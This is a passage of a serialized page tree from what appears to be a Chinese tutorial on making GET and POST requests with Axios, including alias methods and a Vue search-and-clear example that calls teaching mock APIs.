发送GET请求\n",{"type":18,"tag":297,"props":23266,"children":23267},{"class":299,"line":4607},[23268,23273,23277,23281,23286,23290,23294,23298,23302,23307,23311],{"type":18,"tag":297,"props":23269,"children":23270},{"style":327},[23271],{"type":24,"value":23272},"        document.",{"type":18,"tag":297,"props":23274,"children":23275},{"style":304},[23276],{"type":24,"value":18729},{"type":18,"tag":297,"props":23278,"children":23279},{"style":327},[23280],{"type":24,"value":16593},{"type":18,"tag":297,"props":23282,"children":23283},{"style":310},[23284],{"type":24,"value":23285},"'#btnGet'",{"type":18,"tag":297,"props":23287,"children":23288},{"style":327},[23289],{"type":24,"value":18743},{"type":18,"tag":297,"props":23291,"children":23292},{"style":304},[23293],{"type":24,"value":18748},{"type":18,"tag":297,"props":23295,"children":23296},{"style":327},[23297],{"type":24,"value":16593},{"type":18,"tag":297,"props":23299,"children":23300},{"style":310},[23301],{"type":24,"value":18757},{"type":18,"tag":297,"props":23303,"children":23304},{"style":327},[23305],{"type":24,"value":23306},", () ",{"type":18,"tag":297,"props":23308,"children":23309},{"style":316},[23310],{"type":24,"value":17634},{"type":18,"tag":297,"props":23312,"children":23313},{"style":327},[23314],{"type":24,"value":9806},{"type":18,"tag":297,"props":23316,"children":23317},{"class":299,"line":4616},[23318],{"type":18,"tag":297,"props":23319,"children":23320},{"emptyLinePlaceholder":793},[23321],{"type":24,"value":796},{"type":18,"tag":297,"props":23323,"children":23324},{"class":299,"line":4624},[23325],{"type":18,"tag":297,"props":23326,"children":23327},{"style":327},[23328],{"type":24,"value":23329},"        })\n",{"type":18,"tag":297,"props":23331,"children":23332},{"class":299,"line":4633},[23333],{"type":18,"tag":297,"props":23334,"children":23335},{"emptyLinePlaceholder":793},[23336],{"type":24,"value":796},{"type":18,"tag":297,"props":23338,"children":23339},{"class":299,"line":4641},[23340],{"type":18,"tag":297,"props":23341,"children":23342},{"style":5380},[23343],{"type":24,"value":23344},"        \u002F\u002F 发送POST请求\n",{"type":18,"tag":297,"props":23346,"children":23347},{"class":299,"line":4650},[23348,23352,23356,23360,23365,23369,23373,23377,23381,23385,23389],{"type":18,"tag":297,"props":23349,"children":23350},{"style":327},[23351],{"type":24,"value":23272},{"type":18,"tag":297,"props":23353,"children":23354},{"style":304},[23355],{"type":24,"value":18729},{"type":18,"tag":297,"props":23357,"children":23358},{"style":327},[23359],{"type":24,"value":16593},{"type":18,"tag":297,"props":23361,"children":23362},{"style":310},[23363],{"type":24,"value":23364},"'#btnPost'",{"type":18,"tag":297,"props":23366,"children":23367},{"style":327},[23368],{"type":24,"value":18743},{"type":18,"tag":297,"props":23370,"children":23371},{"style":304},[23372],{"type":24,"value":18748},{"type":18,"tag":297,"props":23374,"children":23375},{"style":327},[23376],{"type":24,"value":16593},{"type":18,"tag":297,"props":23378,"children":23379},{"style":310},[23380],{"type":24,"value":18757},{"type":18,"tag":297,"props":23382,"children":23383},{"style":327},[23384],{"type":24,"value":23306},{"type":18,"tag":297,"props":23386,"children":23387},{"style":316},[23388],{"type":24,"value":17634},{"type":18,"tag":297,"props":23390,"children":23391},{"style":327},[23392],{"type":24,"value":9806},{"type":18,"tag":297,"props":23394,"children":23395},{"class":299,"line":4658},[23396],{"type":18,"tag":297,"props":23397,"children":23398},{"emptyLinePlaceholder":793},[23399],{"type":24,"value":796},{"type":18,"tag":297,"props":23401,"children":23402},{"class":299,"line":4681},[23403],{"type":18,"tag":297,"props":23404,"children":23405},{"style":327},[23406],{"type":24,"value":23329},{"type":18,"tag":297,"props":23408,"children":23409},{"class":299,"line":4703},[23410,23414,23418],{"type":18,"tag":297,"props":23411,"children":23412},{"style":327},[23413],{"type":24,"value":13597},{"type":18,"tag":297,"props":23415,"children":23416},{"style":9680},[23417],{"type":24,"value":16468},{"type":18,"tag":297,"props":23419,"children":23420},{"style":327},[23421],{"type":24,"value":335},{"type":18,"tag":297,"props":23423,"children":23424},{"class":299,"line":4711},[23425,23429,23433],{"type":18,"tag":297,"props":23426,"children":23427},{"style":327},[23428],{"type":24,"value":11688},{"type":18,"tag":297,"props":23430,"children":23431},{"style":9680},[23432],{"type":24,"value":12207},{"type":18,"tag":297,"props":23434,"children":23435},{"style":327},[23436],{"type":24,"value":335},{"type":18,"tag":297,"props":23438,"children":23439},{"class":299,"line":4720},[23440,23444,23448],{"type":18,"tag":297,"props":23441,"children":23442},{"style":327},[23443],{"type":24,"value":11688},{"type":18,"tag":297,"props":23445,"children":23446},{"style":9680},[23447],{"type":24,"value":9610},{"type":18,"tag":297,"props":23449,"children":23450},{"style":327},[23451],{"type":24,"value":335},{"type":18,"tag":154,"props":23453,"children":23454},{"start":657},[23455],{"type":18,"tag":158,"props":23456,"children":23457},{},[23458],{"type":24,"value":23459},"完善GET请求",{"type":18,"tag":287,"props":23461,"children":23463},{"className":16332,"code":23462,"language":16334,"meta":8,"style":8},"\u002F\u002F 发送GET请求\ndocument.querySelector('#btnGet').addEventListener('click', () => {\n    \u002F\u002F axios发起异步请求\n    axios({\n        url: 'https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Flist',\n        method: 'GET'\n    }).then((result) => { \u002F\u002F 成功回调函数\n        console.log(result.data);\n    }).catch((err) => { \u002F\u002F 失败回调函数\n        console.log(err);\n    })\n})\n",[23464],{"type":18,"tag":74,"props":23465,"children":23466},{"__ignoreMap":8},[23467,23475,23522,23530,23542,23559,23572,23607,23624,23659,23675,23683],{"type":18,"tag":297,"props":23468,"children":23469},{"class":299,"line":300},[23470],{"type":18,"tag":297,"props":23471,"children":23472},{"style":5380},[23473],{"type":24,"value":23474},"\u002F\u002F 发送GET请求\n",{"type":18,"tag":297,"props":23476,"children":23477},{"class":299,"line":657},[23478,23482,23486,23490,23494,23498,23502,23506,23510,23514,23518],{"type":18,"tag":297,"props":23479,"children":23480},{"style":327},[23481],{"type":24,"value":18724},{"type":18,"tag":297,"props":23483,"children":23484},{"style":304},[23485],{"type":24,"value":18729},{"type":18,"tag":297,"props":23487,"children":23488},{"style":327},[23489],{"type":24,"value":16593},{"type":18,"tag":297,"props":23491,"children":23492},{"style":310},[23493],{"type":24,"value":23285},{"type":18,"tag":297,"props":23495,"children":23496},{"style":327},[23497],{"type":24,"value":18743},{"type":18,"tag":297,"props":23499,"children":23500},{"style":304},[23501],{"type":24,"value":18748},{"type":18,"tag":297,"props":23503,"children":23504},{"style":327},[23505],{"type":24,"value":16593},{"type":18,"tag":297,"props":23507,"children":23508},{"style":310},[23509],{"type":24,"value":18757},{"type":18,"tag":297,"props":23511,"children":23512},{"style":327},[23513],{"type":24,"value":23306},{"type":18,"tag":297,"props":23515,"children":23516},{"style":316},[23517],{"type":24,"value":17634},{"type":18,"tag":297,"props":23519,"children":23520},{"style":327},[23521],{"type":24,"value":9806},{"type":18,"tag":297,"props":23523,"children":23524},{"class":299,"line":662},[23525],{"type":18,"tag":297,"props":23526,"children":23527},{"style":5380},[23528],{"type":24,"value":23529},"    \u002F\u002F axios发起异步请求\n",{"type":18,"tag":297,"props":23531,"children":23532},{"class":299,"line":799},[23533,23538],{"type":18,"tag":297,"props":23534,"children":23535},{"style":304},[23536],{"type":24,"value":23537},"    axios",{"type":18,"tag":297,"props":23539,"children":23540},{"style":327},[23541],{"type":24,"value":19429},{"type":18,"tag":297,"props":23543,"children":23544},{"class":299,"line":808},[23545,23550,23555],{"type":18,"tag":297,"props":23546,"children":23547},{"style":327},[23548],{"type":24,"value":23549},"        url: ",{"type":18,"tag":297,"props":23551,"children":23552},{"style":310},[23553],{"type":24,"value":23554},"'https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Flist'",{"type":18,"tag":297,"props":23556,"children":23557},{"style":327},[23558],{"type":24,"value":9296},{"type":18,"tag":297,"props":23560,"children":23561},{"class":299,"line":817},[23562,23567],{"type":18,"tag":297,"props":23563,"children":23564},{"style":327},[23565],{"type":24,"value":23566},"        method: ",{"type":18,"tag":297,"props":23568,"children":23569},{"style":310},[23570],{"type":24,"value":23571},"'GET'\n",{"type":18,"tag":297,"props":23573,"children":23574},{"class":299,"line":826},[23575,23579,23583,23587,23591,23595,23599,23603],{"type":18,"tag":297,"props":23576,"children":23577},{"style":327},[23578],{"type":24,"value":19508},{"type":18,"tag":297,"props":23580,"children":23581},{"style":304},[23582],{"type":24,"value":22674},{"type":18,"tag":297,"props":23584,"children":23585},{"style":327},[23586],{"type":24,"value":22679},{"type":18,"tag":297,"props":23588,"children":23589},{"style":4492},[23590],{"type":24,"value":22684},{"type":18,"tag":297,"props":23592,"children":23593},{"style":327},[23594],{"type":24,"value":17629},{"type":18,"tag":297,"props":23596,"children":23597},{"style":316},[23598],{"type":24,"value":17634},{"type":18,"tag":297,"props":23600,"children":23601},{"style":327},[23602],{"type":24,"value":17847},{"type":18,"tag":297,"props":23604,"children":23605},{"style":5380},[23606],{"type":24,"value":22717},{"type":18,"tag":297,"props":23608,"children":23609},{"class":299,"line":4524},[23610,23615,23619],{"type":18,"tag":297,"props":23611,"children":23612},{"style":327},[23613],{"type":24,"value":23614},"        console.",{"type":18,"tag":297,"props":23616,"children":23617},{"style":304},[23618],{"type":24,"value":16588},{"type":18,"tag":297,"props":23620,"children":23621},{"style":327},[23622],{"type":24,"value":23623},"(result.data);\n",{"type":18,"tag":297,"props":23625,"children":23626},{"class":299,"line":4533},[23627,23631,23635,23639,23643,23647,23651,23655],{"type":18,"tag":297,"props":23628,"children":23629},{"style":327},[23630],{"type":24,"value":19508},{"type":18,"tag":297,"props":23632,"children":23633},{"style":304},[23634],{"type":24,"value":22729},{"type":18,"tag":297,"props":23636,"children":23637},{"style":327},[23638],{"type":24,"value":22679},{"type":18,"tag":297,"props":23640,"children":23641},{"style":4492},[23642],{"type":24,"value":22738},{"type":18,"tag":297,"props":23644,"children":23645},{"style":327},[23646],{"type":24,"value":17629},{"type":18,"tag":297,"props":23648,"children":23649},{"style":316},[23650],{"type":24,"value":17634},{"type":18,"tag":297,"props":23652,"children":23653},{"style":327},[23654],{"type":24,"value":17847},{"type":18,"tag":297,"props":23656,"children":23657},{"style":5380},[23658],{"type":24,"value":22767},{"type":18,"tag":297,"props":23660,"children":23661},{"class":299,"line":4546},[23662,23666,23670],{"type":18,"tag":297,"props":23663,"children":23664},{"style":327},[23665],{"type":24,"value":23614},{"type":18,"tag":297,"props":23667,"children":23668},{"style":304},[23669],{"type":24,"value":16588},{"type":18,"tag":297,"props":23671,"children":23672},{"style":327},[23673],{"type":24,"value":23674},"(err);\n",{"type":18,"tag":297,"props":23676,"children":23677},{"class":299,"line":4555},[23678],{"type":18,"tag":297,"props":23679,"children":23680},{"style":327},[23681],{"type":24,"value":23682},"    })\n",{"type":18,"tag":297,"props":23684,"children":23685},{"class":299,"line":4568},[23686],{"type":18,"tag":297,"props":23687,"children":23688},{"style":327},[23689],{"type":24,"value":18799},{"type":18,"tag":154,"props":23691,"children":23692},{"start":662},[23693],{"type":18,"tag":158,"props":23694,"children":23695},{},[23696],{"type":24,"value":23697},"完善POST请求",{"type":18,"tag":287,"props":23699,"children":23701},{"className":16332,"code":23700,"language":16334,"meta":8,"style":8},"\u002F\u002F 发送POST请求\ndocument.querySelector('#btnPost').addEventListener('click', () => {\n    \u002F\u002F axios发起异步请求\n    axios({\n        url: 'https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Fupdate',\n        method: 'POST',\n        data: 'id=1' \u002F\u002F POST请求方式，请求体\n    }).then((result) => { \u002F\u002F 成功回调函数\n        console.log(result.data);\n    }).catch((err) => { \u002F\u002F 失败回调函数\n        console.log(err);\n    })\n})\n",[23702],{"type":18,"tag":74,"props":23703,"children":23704},{"__ignoreMap":8},[23705,23713,23760,23767,23778,23794,23810,23828,23863,23878,23913,23928,23935],{"type":18,"tag":297,"props":23706,"children":23707},{"class":299,"line":300},[23708],{"type":18,"tag":297,"props":23709,"children":23710},{"style":5380},[23711],{"type":24,"value":23712},"\u002F\u002F 发送POST请求\n",{"type":18,"tag":297,"props":23714,"children":23715},{"class":299,"line":657},[23716,23720,23724,23728,23732,23736,23740,23744,23748,23752,23756],{"type":18,"tag":297,"props":23717,"children":23718},{"style":327},[23719],{"type":24,"value":18724},{"type":18,"tag":297,"props":23721,"children":23722},{"style":304},[23723],{"type":24,"value":18729},{"type":18,"tag":297,"props":23725,"children":23726},{"style":327},[23727],{"type":24,"value":16593},{"type":18,"tag":297,"props":23729,"children":23730},{"style":310},[23731],{"type":24,"value":23364},{"type":18,"tag":297,"props":23733,"children":23734},{"style":327},[23735],{"type":24,"value":18743},{"type":18,"tag":297,"props":23737,"children":23738},{"style":304},[23739],{"type":24,"value":18748},{"type":18,"tag":297,"props":23741,"children":23742},{"style":327},[23743],{"type":24,"value":16593},{"type":18,"tag":297,"props":23745,"children":23746},{"style":310},[23747],{"type":24,"value":18757},{"type":18,"tag":297,"props":23749,"children":23750},{"style":327},[23751],{"type":24,"value":23306},{"type":18,"tag":297,"props":23753,"children":23754},{"style":316},[23755],{"type":24,"value":17634},{"type":18,"tag":297,"props":23757,"children":23758},{"style":327},[23759],{"type":24,"value":9806},{"type":18,"tag":297,"props":23761,"children":23762},{"class":299,"line":662},[23763],{"type":18,"tag":297,"props":23764,"children":23765},{"style":5380},[23766],{"type":24,"value":23529},{"type":18,"tag":297,"props":23768,"children":23769},{"class":299,"line":799},[23770,23774],{"type":18,"tag":297,"props":23771,"children":23772},{"style":304},[23773],{"type":24,"value":23537},{"type":18,"tag":297,"props":23775,"children":23776},{"style":327},[23777],{"type":24,"value":19429},{"type":18,"tag":297,"props":23779,"children":23780},{"class":299,"line":808},[23781,23785,23790],{"type":18,"tag":297,"props":23782,"children":23783},{"style":327},[23784],{"type":24,"value":23549},{"type":18,"tag":297,"props":23786,"children":23787},{"style":310},[23788],{"type":24,"value":23789},"'https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Fupdate'",{"type":18,"tag":297,"props":23791,"children":23792},{"style":327},[23793],{"type":24,"value":9296},{"type":18,"tag":297,"props":23795,"children":23796},{"class":299,"line":817},[23797,23801,23806],{"type":18,"tag":297,"props":23798,"children":23799},{"style":327},[23800],{"type":24,"value":23566},{"type":18,"tag":297,"props":23802,"children":23803},{"style":310},[23804],{"type":24,"value":23805},"'POST'",{"type":18,"tag":297,"props":23807,"children":23808},{"style":327},[23809],{"type":24,"value":9296},{"type":18,"tag":297,"props":23811,"children":23812},{"class":299,"line":826},[23813,23818,23823],{"type":18,"tag":297,"props":23814,"children":23815},{"style":327},[23816],{"type":24,"value":23817},"        data: ",{"type":18,"tag":297,"props":23819,"children":23820},{"style":310},[23821],{"type":24,"value":23822},"'id=1'",{"type":18,"tag":297,"props":23824,"children":23825},{"style":5380},[23826],{"type":24,"value":23827}," \u002F\u002F POST请求方式，请求体\n",{"type":18,"tag":297,"props":23829,"children":23830},{"class":299,"line":4524},[23831,23835,23839,23843,23847,23851,23855,23859],{"type":18,"tag":297,"props":23832,"children":23833},{"style":327},[23834],{"type":24,"value":19508},{"type":18,"tag":297,"props":23836,"children":23837},{"style":304},[23838],{"type":24,"value":22674},{"type":18,"tag":297,"props":23840,"children":23841},{"style":327},[23842],{"type":24,"value":22679},{"type":18,"tag":297,"props":23844,"children":23845},{"style":4492},[23846],{"type":24,"value":22684},{"type":18,"tag":297,"props":23848,"children":23849},{"style":327},[23850],{"type":24,"value":17629},{"type":18,"tag":297,"props":23852,"children":23853},{"style":316},[23854],{"type":24,"value":17634},{"type":18,"tag":297,"props":23856,"children":23857},{"style":327},[23858],{"type":24,"value":17847},{"type":18,"tag":297,"props":23860,"children":23861},{"style":5380},[23862],{"type":24,"value":22717},{"type":18,"tag":297,"props":23864,"children":23865},{"class":299,"line":4533},[23866,23870,23874],{"type":18,"tag":297,"props":23867,"children":23868},{"style":327},[23869],{"type":24,"value":23614},{"type":18,"tag":297,"props":23871,"children":23872},{"style":304},[23873],{"type":24,"value":16588},{"type":18,"tag":297,"props":23875,"children":23876},{"style":327},[23877],{"type":24,"value":23623},{"type":18,"tag":297,"props":23879,"children":23880},{"class":299,"line":4546},[23881,23885,23889,23893,23897,23901,23905,23909],{"type":18,"tag":297,"props":23882,"children":23883},{"style":327},[23884],{"type":24,"value":19508},{"type":18,"tag":297,"props":23886,"children":23887},{"style":304},[23888],{"type":24,"value":22729},{"type":18,"tag":297,"props":23890,"children":23891},{"style":327},[23892],{"type":24,"value":22679},{"type":18,"tag":297,"props":23894,"children":23895},{"style":4492},[23896],{"type":24,"value":22738},{"type":18,"tag":297,"props":23898,"children":23899},{"style":327},[23900],{"type":24,"value":17629},{"type":18,"tag":297,"props":23902,"children":23903},{"style":316},[23904],{"type":24,"value":17634},{"type":18,"tag":297,"props":23906,"children":23907},{"style":327},[23908],{"type":24,"value":17847},{"type":18,"tag":297,"props":23910,"children":23911},{"style":5380},[23912],{"type":24,"value":22767},{"type":18,"tag":297,"props":23914,"children":23915},{"class":299,"line":4555},[23916,23920,23924],{"type":18,"tag":297,"props":23917,"children":23918},{"style":327},[23919],{"type":24,"value":23614},{"type":18,"tag":297,"props":23921,"children":23922},{"style":304},[23923],{"type":24,"value":16588},{"type":18,"tag":297,"props":23925,"children":23926},{"style":327},[23927],{"type":24,"value":23674},{"type":18,"tag":297,"props":23929,"children":23930},{"class":299,"line":4568},[23931],{"type":18,"tag":297,"props":23932,"children":23933},{"style":327},[23934],{"type":24,"value":23682},{"type":18,"tag":297,"props":23936,"children":23937},{"class":299,"line":4577},[23938],{"type":18,"tag":297,"props":23939,"children":23940},{"style":327},[23941],{"type":24,"value":18799},{"type":18,"tag":27,"props":23943,"children":23945},{"id":23944},"_64-axios-简化",[23946],{"type":24,"value":23947},"6.4 Axios 简化",{"type":18,"tag":34,"props":23949,"children":23950},{},[23951],{"type":24,"value":23952},"为了方便起见，Axios 已经为所有支持的请求方法提供了别名。格式：",{"type":18,"tag":287,"props":23954,"children":23956},{"className":16332,"code":23955,"language":16334,"meta":8,"style":8},"axios.请求方式(url [, data [, config]])\n",[23957],{"type":18,"tag":74,"props":23958,"children":23959},{"__ignoreMap":8},[23960],{"type":18,"tag":297,"props":23961,"children":23962},{"class":299,"line":300},[23963,23968,23973],{"type":18,"tag":297,"props":23964,"children":23965},{"style":327},[23966],{"type":24,"value":23967},"axios.",{"type":18,"tag":297,"props":23969,"children":23970},{"style":304},[23971],{"type":24,"value":23972},"请求方式",{"type":18,"tag":297,"props":23974,"children":23975},{"style":327},[23976],{"type":24,"value":23977},"(url [, data [, config]])\n",{"type":18,"tag":34,"props":23979,"children":23980},{},[23981],{"type":18,"tag":105,"props":23982,"children":23983},{},[23984],{"type":24,"value":23985},"GET 请求示例",{"type":18,"tag":287,"props":23987,"children":23989},{"className":16332,"code":23988,"language":16334,"meta":8,"style":8},"axios.get('https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Flist')\n.then((result) => {\n    console.log(result.data);\n}).catch((err) => {\n    console.log(err);\n});\n",[23990],{"type":18,"tag":74,"props":23991,"children":23992},{"__ignoreMap":8},[23993,24017,24048,24063,24094,24109],{"type":18,"tag":297,"props":23994,"children":23995},{"class":299,"line":300},[23996,24000,24005,24009,24013],{"type":18,"tag":297,"props":23997,"children":23998},{"style":327},[23999],{"type":24,"value":23967},{"type":18,"tag":297,"props":24001,"children":24002},{"style":304},[24003],{"type":24,"value":24004},"get",{"type":18,"tag":297,"props":24006,"children":24007},{"style":327},[24008],{"type":24,"value":16593},{"type":18,"tag":297,"props":24010,"children":24011},{"style":310},[24012],{"type":24,"value":23554},{"type":18,"tag":297,"props":24014,"children":24015},{"style":327},[24016],{"type":24,"value":4760},{"type":18,"tag":297,"props":24018,"children":24019},{"class":299,"line":657},[24020,24024,24028,24032,24036,24040,24044],{"type":18,"tag":297,"props":24021,"children":24022},{"style":327},[24023],{"type":24,"value":1147},{"type":18,"tag":297,"props":24025,"children":24026},{"style":304},[24027],{"type":24,"value":22674},{"type":18,"tag":297,"props":24029,"children":24030},{"style":327},[24031],{"type":24,"value":22679},{"type":18,"tag":297,"props":24033,"children":24034},{"style":4492},[24035],{"type":24,"value":22684},{"type":18,"tag":297,"props":24037,"children":24038},{"style":327},[24039],{"type":24,"value":17629},{"type":18,"tag":297,"props":24041,"children":24042},{"style":316},[24043],{"type":24,"value":17634},{"type":18,"tag":297,"props":24045,"children":24046},{"style":327},[24047],{"type":24,"value":9806},{"type":18,"tag":297,"props":24049,"children":24050},{"class":299,"line":662},[24051,24055,24059],{"type":18,"tag":297,"props":24052,"children":24053},{"style":327},[24054],{"type":24,"value":16583},{"type":18,"tag":297,"props":24056,"children":24057},{"style":304},[24058],{"type":24,"value":16588},{"type":18,"tag":297,"props":24060,"children":24061},{"style":327},[24062],{"type":24,"value":23623},{"type":18,"tag":297,"props":24064,"children":24065},{"class":299,"line":799},[24066,24070,24074,24078,24082,24086,24090],{"type":18,"tag":297,"props":24067,"children":24068},{"style":327},[24069],{"type":24,"value":22400},{"type":18,"tag":297,"props":24071,"children":24072},{"style":304},[24073],{"type":24,"value":22729},{"type":18,"tag":297,"props":24075,"children":24076},{"style":327},[24077],{"type":24,"value":22679},{"type":18,"tag":297,"props":24079,"children":24080},{"style":4492},[24081],{"type":24,"value":22738},{"type":18,"tag":297,"props":24083,"children":24084},{"style":327},[24085],{"type":24,"value":17629},{"type":18,"tag":297,"props":24087,"children":24088},{"style":316},[24089],{"type":24,"value":17634},{"type":18,"tag":297,"props":24091,"children":24092},{"style":327},[24093],{"type":24,"value":9806},{"type":18,"tag":297,"props":24095,"children":24096},{"class":299,"line":808},[24097,24101,24105],{"type":18,"tag":297,"props":24098,"children":24099},{"style":327},[24100],{"type":24,"value":16583},{"type":18,"tag":297,"props":24102,"children":24103},{"style":304},[24104],{"type":24,"value":16588},{"type":18,"tag":297,"props":24106,"children":24107},{"style":327},[24108],{"type":24,"value":23674},{"type":18,"tag":297,"props":24110,"children":24111},{"class":299,"line":817},[24112],{"type":18,"tag":297,"props":24113,"children":24114},{"style":327},[24115],{"type":24,"value":22775},{"type":18,"tag":34,"props":24117,"children":24118},{},[24119],{"type":18,"tag":105,"props":24120,"children":24121},{},[24122],{"type":24,"value":24123},"POST 请求示例",{"type":18,"tag":287,"props":24125,"children":24127},{"className":16332,"code":24126,"language":16334,"meta":8,"style":8},"axios.post('https:\u002F\u002Fmock.apifox.cn\u002Fm1\u002F3083103-0-default\u002Femps\u002Fupdate', 'id=1')\n.then((result) => {\n    console.log(result.data);\n}).catch((err) => {\n    console.log(err);\n});\n",[24128],{"type":18,"tag":74,"props":24129,"children":24130},{"__ignoreMap":8},[24131,24163,24194,24209,24240,24255],{"type":18,"tag":297,"props":24132,"children":24133},{"class":299,"line":300},[24134,24138,24143,24147,24151,24155,24159],{"type":18,"tag":297,"props":24135,"children":24136},{"style":327},[24137],{"type":24,"value":23967},{"type":18,"tag":297,"props":24139,"children":24140},{"style":304},[24141],{"type":24,"value":24142},"post",{"type":18,"tag":297,"props":24144,"children":24145},{"style":327},[24146],{"type":24,"value":16593},{"type":18,"tag":297,"props":24148,"children":24149},{"style":310},[24150],{"type":24,"value":23789},{"type":18,"tag":297,"props":24152,"children":24153},{"style":327},[24154],{"type":24,"value":11724},{"type":18,"tag":297,"props":24156,"children":24157},{"style":310},[24158],{"type":24,"value":23822},{"type":18,"tag":297,"props":24160,"children":24161},{"style":327},[24162],{"type":24,"value":4760},{"type":18,"tag":297,"props":24164,"children":24165},{"class":299,"line":657},[24166,24170,24174,24178,24182,24186,24190],{"type":18,"tag":297,"props":24167,"children":24168},{"style":327},[24169],{"type":24,"value":1147},{"type":18,"tag":297,"props":24171,"children":24172},{"style":304},[24173],{"type":24,"value":22674},{"type":18,"tag":297,"props":24175,"children":24176},{"style":327},[24177],{"type":24,"value":22679},{"type":18,"tag":297,"props":24179,"children":24180},{"style":4492},[24181],{"type":24,"value":22684},{"type":18,"tag":297,"props":24183,"children":24184},{"style":327},[24185],{"type":24,"value":17629},{"type":18,"tag":297,"props":24187,"children":24188},{"style":316},[24189],{"type":24,"value":17634},{"type":18,"tag":297,"props":24191,"children":24192},{"style":327},[24193],{"type":24,"value":9806},{"type":18,"tag":297,"props":24195,"children":24196},{"class":299,"line":662},[24197,24201,24205],{"type":18,"tag":297,"props":24198,"children":24199},{"style":327},[24200],{"type":24,"value":16583},{"type":18,"tag":297,"props":24202,"children":24203},{"style":304},[24204],{"type":24,"value":16588},{"type":18,"tag":297,"props":24206,"children":24207},{"style":327},[24208],{"type":24,"value":23623},{"type":18,"tag":297,"props":24210,"children":24211},{"class":299,"line":799},[24212,24216,24220,24224,24228,24232,24236],{"type":18,"tag":297,"props":24213,"children":24214},{"style":327},[24215],{"type":24,"value":22400},{"type":18,"tag":297,"props":24217,"children":24218},{"style":304},[24219],{"type":24,"value":22729},{"type":18,"tag":297,"props":24221,"children":24222},{"style":327},[24223],{"type":24,"value":22679},{"type":18,"tag":297,"props":24225,"children":24226},{"style":4492},[24227],{"type":24,"value":22738},{"type":18,"tag":297,"props":24229,"children":24230},{"style":327},[24231],{"type":24,"value":17629},{"type":18,"tag":297,"props":24233,"children":24234},{"style":316},[24235],{"type":24,"value":17634},{"type":18,"tag":297,"props":24237,"children":24238},{"style":327},[24239],{"type":24,"value":9806},{"type":18,"tag":297,"props":24241,"children":24242},{"class":299,"line":808},[24243,24247,24251],{"type":18,"tag":297,"props":24244,"children":24245},{"style":327},[24246],{"type":24,"value":16583},{"type":18,"tag":297,"props":24248,"children":24249},{"style":304},[24250],{"type":24,"value":16588},{"type":18,"tag":297,"props":24252,"children":24253},{"style":327},[24254],{"type":24,"value":23674},{"type":18,"tag":297,"props":24256,"children":24257},{"class":299,"line":817},[24258],{"type":18,"tag":297,"props":24259,"children":24260},{"style":327},[24261],{"type":24,"value":22775},{"type":18,"tag":34,"props":24263,"children":24264},{},[24265],{"type":18,"tag":105,"props":24266,"children":24267},{},[24268],{"type":24,"value":24269},"事件绑定案例",{"type":18,"tag":287,"props":24271,"children":24273},{"className":16332,"code":24272,"language":16334,"meta":8,"style":8},"methods: {\n    search() {\n        \u002F\u002F 发送ajax请求，获取数据\n        axios.get(`https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist?name=${this.searchForm.name}&gender=${this.searchForm.gender}&job=${this.searchForm.job}`)\n            .then(result => {\n                this.empList = result.data.data;\n            });\n    },\n    clear() {\n        \u002F\u002F 清空表单项数据\n        this.searchForm = { name: '', gender: '', job: '' };\n        this.search();\n    }\n}\n",[24274],{"type":18,"tag":74,"props":24275,"children":24276},{"__ignoreMap":8},[24277,24289,24301,24309,24412,24441,24463,24471,24478,24490,24498,24545,24566,24573],{"type":18,"tag":297,"props":24278,"children":24279},{"class":299,"line":300},[24280,24285],{"type":18,"tag":297,"props":24281,"children":24282},{"style":304},[24283],{"type":24,"value":24284},"methods",{"type":18,"tag":297,"props":24286,"children":24287},{"style":327},[24288],{"type":24,"value":9413},{"type":18,"tag":297,"props":24290,"children":24291},{"class":299,"line":657},[24292,24297],{"type":18,"tag":297,"props":24293,"children":24294},{"style":304},[24295],{"type":24,"value":24296},"    search",{"type":18,"tag":297,"props":24298,"children":24299},{"style":327},[24300],{"type":24,"value":19442},{"type":18,"tag":297,"props":24302,"children":24303},{"class":299,"line":662},[24304],{"type":18,"tag":297,"props":24305,"children":24306},{"style":5380},[24307],{"type":24,"value":24308},"        \u002F\u002F 发送ajax请求，获取数据\n",{"type":18,"tag":297,"props":24310,"children":24311},{"class":299,"line":799},[24312,24317,24321,24325,24330,24334,24338,24343,24347,24351,24356,24360,24364,24368,24372,24377,24382,24386,24390,24394,24398,24403,24408],{"type":18,"tag":297,"props":24313,"children":24314},{"style":327},[24315],{"type":24,"value":24316},"        axios.",{"type":18,"tag":297,"props":24318,"children":24319},{"style":304},[24320],{"type":24,"value":24004},{"type":18,"tag":297,"props":24322,"children":24323},{"style":327},[24324],{"type":24,"value":16593},{"type":18,"tag":297,"props":24326,"children":24327},{"style":310},[24328],{"type":24,"value":24329},"`https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist?name=${",{"type":18,"tag":297,"props":24331,"children":24332},{"style":906},[24333],{"type":24,"value":17869},{"type":18,"tag":297,"props":24335,"children":24336},{"style":310},[24337],{"type":24,"value":1147},{"type":18,"tag":297,"props":24339,"children":24340},{"style":327},[24341],{"type":24,"value":24342},"searchForm",{"type":18,"tag":297,"props":24344,"children":24345},{"style":310},[24346],{"type":24,"value":1147},{"type":18,"tag":297,"props":24348,"children":24349},{"style":327},[24350],{"type":24,"value":12133},{"type":18,"tag":297,"props":24352,"children":24353},{"style":310},[24354],{"type":24,"value":24355},"}&gender=${",{"type":18,"tag":297,"props":24357,"children":24358},{"style":906},[24359],{"type":24,"value":17869},{"type":18,"tag":297,"props":24361,"children":24362},{"style":310},[24363],{"type":24,"value":1147},{"type":18,"tag":297,"props":24365,"children":24366},{"style":327},[24367],{"type":24,"value":24342},{"type":18,"tag":297,"props":24369,"children":24370},{"style":310},[24371],{"type":24,"value":1147},{"type":18,"tag":297,"props":24373,"children":24374},{"style":327},[24375],{"type":24,"value":24376},"gender",{"type":18,"tag":297,"props":24378,"children":24379},{"style":310},[24380],{"type":24,"value":24381},"}&job=${",{"type":18,"tag":297,"props":24383,"children":24384},{"style":906},[24385],{"type":24,"value":17869},{"type":18,"tag":297,"props":24387,"children":24388},{"style":310},[24389],{"type":24,"value":1147},{"type":18,"tag":297,"props":24391,"children":24392},{"style":327},[24393],{"type":24,"value":24342},{"type":18,"tag":297,"props":24395,"children":24396},{"style":310},[24397],{"type":24,"value":1147},{"type":18,"tag